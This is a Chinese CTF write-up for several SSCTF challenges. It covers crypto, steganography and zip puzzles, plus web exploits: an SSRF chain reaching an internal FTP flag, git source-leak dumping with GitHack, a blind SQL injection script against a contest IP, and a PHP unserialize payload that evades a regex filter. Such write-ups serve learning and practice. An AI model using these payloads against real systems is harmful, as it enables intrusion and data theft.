可是有遗憾有惊喜吧!仍是简单记录一些东西。
这道题直接给出了一串字符串,直接base64解码
这里看到了<span style="color:red;">{}</span>就有一种熟悉的感受!
一开始也没有头绪,不过常见的加密方式就那几种,而且是个签到题,感受没这么麻烦
首先想到的是凯撒移位,由于flag是ssctf{},讲道理应该有ssctf的
最后栅栏解密
这道题虽然只有100分,可是却引发了尴尬。。。。
官方提示ssrf,可是内网地址。。。。最后官方受不了直接给了ssrf过程。。。!
主页是个图片,右键源码
<img src=" ./news.php?url=127.0.0.1/img.jpg ">
127.0.0.1,已经很明显了,再根据官方提示,poyloadphp
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=ftp://172.17.0.2:21/flag.txt
可是这样提交以后,没反应,试了试大写绕过Ftp,读到flagpython
直接下载, 我存到了云盘密码:pdxn,是一个mp3格式文件,可是打不开,用HxD打开,一看是压缩包
直接解压,的到三个文件
扫描提示的二维码,<span style="color:red;">神龙摆尾(ps:不是让你看内容!!!)</span>
有个zip文件是加密的,应该mp3文件含着密码,因为前几天作过一个看波形的题。。。可是没发现什么
又想到提示内容,就用HxD打开mp3文件,直接看结尾,能够的字符串,直接解密,开了。
<span style="color:red;">这个地方,在看大佬wp的时候学到了一个新姿式,linux命令strings,能够直接导出文件字符串,具体使用能够百度</span>linux
解压以后获得一张图片,老套路,16进制打开,试着搜索FF D9,能够从下图容易看出
后面是个png,扣数据,保存,注意文件头是坏的,须要修复
打开以后仍是一个二维码,扫描是下载一个文本,打开以后。。。。。又是PK。。。。。。。。我。。。。无言以对
这是个伪加密,改图片处0->1,解压获得base64,解码,还须要url解码获得flag
这个300分真的很差拿。。。。。
打开连接,是个网址,并且下载的是个文件,。。。很使人怀疑啊,为何还要打开一个网址??
这是我没提交成flag的那道题,一开始并无思路,次日,学长提示git源码泄露,才有了思路
打开数据包,发现就是一些git,./nijiakadaye,的字样,又搜了搜相关资料
果断linux,安装GitHack,并下载源码
git clone https://github.com/BugScanTeam/GitHack cd GitHack python GitHack.py http://60.191.205.87/.nijiakadaye/
在网址目录打开终端,输入git log -u查看提交历史git
直接提交{}内容,不对。。。。。继续往下看,发现了pass.php,直接逆向解密github
<?php function wtf($data,$pwd) { $cipher =""; $key[] =""; $box[] =""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < 256; $i++) { $key[$i] = ord($pwd[$i % $pwd_length]); $box[$i] = $i; } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $key[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $data_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $k = $box[(($box[$a] + $box[$j]) % 256)]; $cipher .= chr(ord($data[$i]) ^ $k); } return $cipher; } $a='xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U='; $decrypt=wtf(base64_decode($a),'ssctf'); echo $decrypt; ?>
这道题长的姿式也很多的,首先就是题目也要注意,可能会是提示,好比这道,咱们的秘密-OurSecret是这个工具
这个工具解密是须要密码的,题目提示秘密是绿色,观察图片,绿色部分的数字:0405111218192526
解压以后是个压缩包,提示密码是生日,8位数字爆破
接下来又是新姿式,明文攻击(条件具体能够百度),下面第一张图片也能够算是明文攻击特征吧,将readme相同方式压缩,做为明文文件
解压以后又是伪加密。。。。彷佛,充满了二维码,爆破密码,伪加密。。。。。获得下面的东西,和签到同样的手法
qddpqwnpcplen%prqwn_{_zz*d@gq}
首先是盲注,获得admin密码,贴上chamd5团队脚本
import requests s = requests.session() ll = "1234567890qwertyuiopasdfghjklzxcvbnm" username = "" for j in range(1,32): print j for i in ll: url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i # print url # username = "" r = s.get(url) # print r.text if "Picture not found" not in r.text: username = username + i print username break
而后就是反序列化了,这个题目wp是校内决赛以后加上的。。由于出了一道同样的反序列化问题
先看代码部分index.txt和include.txt,这后边是校内决赛代码,ssctf彷佛已经关闭了
<?php echo "<!--index.txt-->"; if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; if($id==0) { if(isset($_COOKIE['token'])) { $key=$_GET['key']; $token =$_COOKIE['token']; if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!")) { echo "hello Hacker!<br>"; include("include.php"); echo cumtctf_unserialize($token); } else { echo "You are not Hacker ! "; } } } ?>
<?php echo "<!--include.txt-->"; class Read{//flag.php public $file; public function __toString(){ if(isset($this->file)){ if("flag.php"===$this->file||stripos($this->file,"://")>-1) { exit(); } else { echo file_get_contents($this->file); } } return "you are big Hacker"; } } function cumtctf_unserialize($value) { preg_match('/[oc]:\d+:/i', $value,$matches); if(count($matches)){ return false; } return unserialize($value); } ?>
首先index.txt中get-id,传参id=0
而后首先看file_get_contents函数,这里要求传入的key=I want flag!!!
这里咱们可以利用php的<span style="color: red;">封装协议php://input</span>,他可以获得POST原始数据,用火狐很方便session
最后就是对token的操做,由include.txt代码部分能够知道,能够反序列化读取flag.php
可是代码中 if("flag.php"===$this->file||stripos($this->file,"://")>-1)过滤了flag.php
这里能够用./flag.php绕过
preg_match('/[oc]:d+:/i', $value,$matches);利用符号+就不会正则匹配到数字
<span style="color: red;">token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}</span>
最终token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d函数